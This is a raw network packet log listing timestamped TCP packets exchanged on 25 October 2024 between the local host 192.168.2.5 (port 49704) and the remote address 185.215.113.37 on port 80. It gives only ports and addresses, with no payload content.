Oct 25, 2024 07:28:19.578125954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.578294039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.578319073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.578340054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.578341961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.578363895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.578372955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593341112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593355894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593373060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593394995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593437910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593452930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593472004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593494892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593509912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593523026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593539953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593559980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593579054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593579054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593579054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593579054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593579054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593579054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593579054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593584061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593592882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593600988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593615055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593626022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593638897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593638897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593652964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593661070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593668938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593673944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593693018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593694925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593718052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593724012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593743086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593748093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593759060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593766928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593776941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593779087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593791962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593800068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593810081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593817949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593825102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593831062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593839884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593852997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593852997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593863010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593868971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593883038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593883038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593898058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593900919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593913078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.593919039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593938112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.593961000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.637140036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.637156010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.637305021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.688093901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.693403959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127494097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127513885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127530098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127545118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127571106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127589941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127607107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127614021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127624035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127628088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127640009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127656937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127664089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127696037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127707958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127721071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127723932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127742052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127747059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127758026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127764940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127774954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127784967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127789974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127795935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127805948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127850056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127861977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127862930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127878904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127886057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127895117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127896070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127909899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127919912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127926111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127929926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127948999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127964020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.127974987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.127995014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128010035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128025055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128025055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128041029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128042936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128058910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128072977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128077030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128093004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128097057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128107071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128120899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128132105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128145933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128148079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128161907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128174067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128177881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128197908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128202915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128212929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128226042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128227949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128242016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128249884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128262997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128281116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128288031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128303051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128315926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128336906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128350973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128353119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128365993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128377914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128381968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128391981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128391981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128398895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128415108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128427982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128436089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128444910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128459930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128473043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128475904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128493071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128499985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128515959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128525972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128530025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128546000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128559113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128561020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128575087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128591061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128592968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128603935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128633022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128658056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128681898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128695965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128700972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128710985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128725052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128727913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128740072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128745079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128758907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128760099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128772020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128777027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128792048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128798962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128808022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128818989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128823042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128839016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128842115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128850937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128865957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128869057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128881931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128896952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128906012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128911972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128926992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128926992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128943920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128951073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128959894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128974915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.128977060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.128990889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129000902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129012108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129023075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129043102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129069090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129127979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129152060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129164934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129168034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129179001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129184961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129194975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129214048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129219055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129230976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129235029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129249096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129256964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129265070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129273891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129280090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129290104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129295111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129307032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129312038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129326105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129326105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129348993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129352093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129364014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129380941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129384041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129394054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129404068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129409075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129425049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129440069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129441977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129460096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129465103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129475117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129488945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129493952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129508972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129520893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129524946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129539013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.129543066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129566908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.129595995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.201957941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.201992035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202008963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202023983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202034950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202039957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202055931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202064991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202081919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202094078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202095985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202112913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202124119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202128887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202146053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202156067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202172995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202193022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202224970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202239990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202255011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202265024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202275991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202280045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202297926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202299118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202318907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202322006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202327967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202337980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202353954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202359915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202372074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202378988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202393055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202395916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202413082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202419043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202429056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202434063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202445984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202451944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202460051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202461958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202478886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202482939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202496052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202497959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202512026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202512980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202529907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202533960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202544928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202559948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202564001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202564001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202579975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202584028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202600002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202603102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202621937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202625990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202632904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202641964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202658892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202663898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202675104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202676058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202693939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202703953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202709913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202714920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202730894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202735901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202752113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202752113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202769041 CEST	80	49704	185.215.113.37	192.168.2.5
